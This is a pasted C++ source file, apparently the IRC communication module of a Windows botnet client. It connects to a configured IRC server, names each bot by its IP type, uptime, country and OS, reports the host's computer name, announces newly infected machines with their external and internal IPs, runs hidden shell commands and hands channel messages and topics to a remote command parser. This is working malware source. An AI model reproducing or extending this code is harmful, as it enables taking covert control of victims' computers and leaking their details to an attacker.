All pastes #506377 Raw Edit

IJIJ

public text v1 · immutable
·published 2007-05-23 22:51 UTC
rendered paste body
#include "includes.h"

IRC::IRC ()
{
	this->connected = false;
	this->err = 0;
	this->last_recv = 0;
}
void IRC::destroy ()
{
	this->quit ("killing irc...");
}
void IRC::irc_connect (char *s, const unsigned short p, const char *c,
						const int nl, const int rd)
{
	strncpy (this->server, s, sizeof (this->server) - 1);
	this->port = p;
	strncpy (this->channel, c, sizeof (this->channel) - 1);
	this->nick_len = nl;
	this->reconnect_delay = rd;
	GetLocaleInfo(LOCALE_SYSTEM_DEFAULT, LOCALE_SABBREVCTRYNAME, this->country, 3);
	this->start ();
}
DWORD IRC::main (LPVOID param)
{
TRY
	fd_set rfds;
	struct timeval tv;
	tv.tv_sec = 1;
	while (true)
	{
		if (this->connected == false)
		{
			if (this->init ())
			{
				this->connected = true;
				continue;
			} else {
				this->connected = false;
				Sleep (this->reconnect_delay);
				continue;
			}
		}
		this->err = 0;
		char buffer[2048] = {0};
		FD_ZERO (&rfds);
		FD_SET (this->sock, &rfds);
		this->err = select (FD_SETSIZE, &rfds, 0, 0, &tv);
		if (this->err)
		{
			if (FD_ISSET (this->sock, &rfds))
			{
				this->err = 0;
				this->err = recv (this->sock, buffer, sizeof (buffer), 0);
				this->last_recv = GetTickCount ();
				if (this->err == SOCKET_ERROR)
				{
					this->quit ("error");
					continue;
				}
				this->split (buffer);
			}
		} else if (this->err < 0)
			this->quit ("error");
		if (((GetTickCount ()-this->last_recv) > 500000) && this->last_recv)
			this->quit ("ping timeout?");
	}
CATCH
	return 0;
}
void IRC::msg (char *cchannel, char *name, char *msg, ...)
{
TRY
	if (!this->connected)
		return;
	va_list va;
	char buf[1000] = {0}, buffer[1024] = {0};
	va_start (va, msg);
	_vsnprintf (buf, sizeof (buf) - 1, msg, va);
	va_end (va);
	_snprintf (buffer, sizeof (buffer) - 1, "PRIVMSG %s :%s%s%s » %s", cchannel, IRC_BOLD, name, IRC_OFF, buf);
	this->raw ("%s", buffer);
CATCH
}
bool IRC::init ()
{
	this->connected = true;
	WinExec ("ipconfig /flushdns", SW_HIDE);
	this->err = 0;
	bool bOptVal = true;
	int bOptLen = sizeof(bool);
	SOCKADDR_IN ssin;
	ssin.sin_family = AF_INET;
	ssin.sin_addr.s_addr = resolve (this->server);
	ssin.sin_port = htons (this->port);
	this->sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (this->sock == INVALID_SOCKET)
		goto fail;
	this->err = connect (this->sock, (LPSOCKADDR)&ssin, sizeof(ssin));
	if (this->err == SOCKET_ERROR)
		goto fail;
	this->init_user ();
	this->init_nick ();
	this->err = setsockopt (this->sock, SOL_SOCKET, SO_KEEPALIVE, (char*)&bOptVal, bOptLen);
	if (this->err == SOCKET_ERROR)
		goto fail;
	this->connect_time = GetTickCount ();
	return true;
fail:
	this->close ();
	return false;
}
void IRC::split (char *str)
{
TRY
	char *p;
	while (p = strstr(str, "\r\n"))
	{
		*p = '\0';
		this->parse(str);
		str = p + 2;
	}
CATCH
}
void IRC::parse (char *str)
{
TRY
	char *arg[100] = {0}, *carg[100] = {0}, *p;
	int c = 0;
	while (p = strstr(str, " "))
	{
		*p = '\0';
		arg[c] = str;
		str = p + 1;
		c++;
	}
	arg[c] = str;
	int x = 3;
	if (!arg[0] || !arg[1])
		return;
	if (!lstrcmp("PING", arg[0]))
		this->raw ("PONG %s", arg[1]);
	else if (!lstrcmp("001", arg[1]))
	{
		this->raw ("JOIN %s", this->channel);
		DWORD attr = GetFileAttributes (FILE_NEW);
		if (attr != 0xffffffff)
		{
			DeleteFile (FILE_NEW);
			this->msg (CHANNEL_NEW, "NEW", "%s [%s]", external_ip, internal_ip);
		}
	}
	if (!lstrcmp("332", arg[1]))
		x = 4;
	else if (!lstrcmp("PRIVMSG", arg[1]))
		x = 3;
	else
		return;
	if (!(arg[x]++))
		return;
	if (wild (arg[x], this->nick))
		return;
	x += 1;
	int s = 0;
	for (int a = (x + 1); a <= c; a++)
	{
		carg[s] = arg[a];
		s++;
	}
	command_parse (arg[x], carg, s);
CATCH
}
void IRC::raw (char *msg, ...)
{
TRY
	if (!this->connected)
		return;
	va_list va;
	char buf[1024] = {0};
	va_start(va, msg);
	_vsnprintf(buf, sizeof (buf) - 1, msg, va);
	va_end(va);
	strncat (buf, "\r\n", sizeof (buf) - 1);
	send(sock, buf, lstrlen(buf), 0);
CATCH
}
void IRC::close ()
{
	if (!this->connected)
		return;
	closesocket (this->sock);
	this->connected = false;
}
void IRC::quit (char *msg)
{
	if (!this->connected)
		return;
	this->raw ("QUIT :%s", msg);
	this->close ();
}
void IRC::init_nick ()
{
	const char nick_chars[] = "abcdefghijklmnopqrstuvwxyz";
	srand (GetTickCount ());
	char rndnick[30] = {0}, os[10] = {0};
	strncpy(os, get_os (), sizeof (os) - 1);
	for(unsigned int l = 0; l < this->nick_len; ++l)
		rndnick[l] = nick_chars[(rand()%(sizeof(nick_chars)-1))];
	ZeroMemory (this->nick, sizeof(this->nick));
	_snprintf(this->nick, sizeof (this->nick) - 1, "%c|%0.3u|%3s|%s|%s",
		((PrivateIP(internal_ip))?('P'):('O')),
		uptime(),
		this->country,
		os,
		rndnick);
	this->raw ("NICK %s", this->nick);
}
void IRC::init_user ()
{
	char cname[1024] = {0};
	DWORD cSize = MAX_COMPUTERNAME_LENGTH + 1;
	GetComputerName (cname, &cSize);
	this->raw ("USER %s n n :%s", cname, VERSION);
}
char * IRC::get_nick ()
{
	static char gNick[50];
	strncpy (gNick, this->nick, sizeof (gNick) - 1);
	return gNick;
}
bool IRC::is_connected ()
{
	if (this->connected)
		return true;
	return false;
}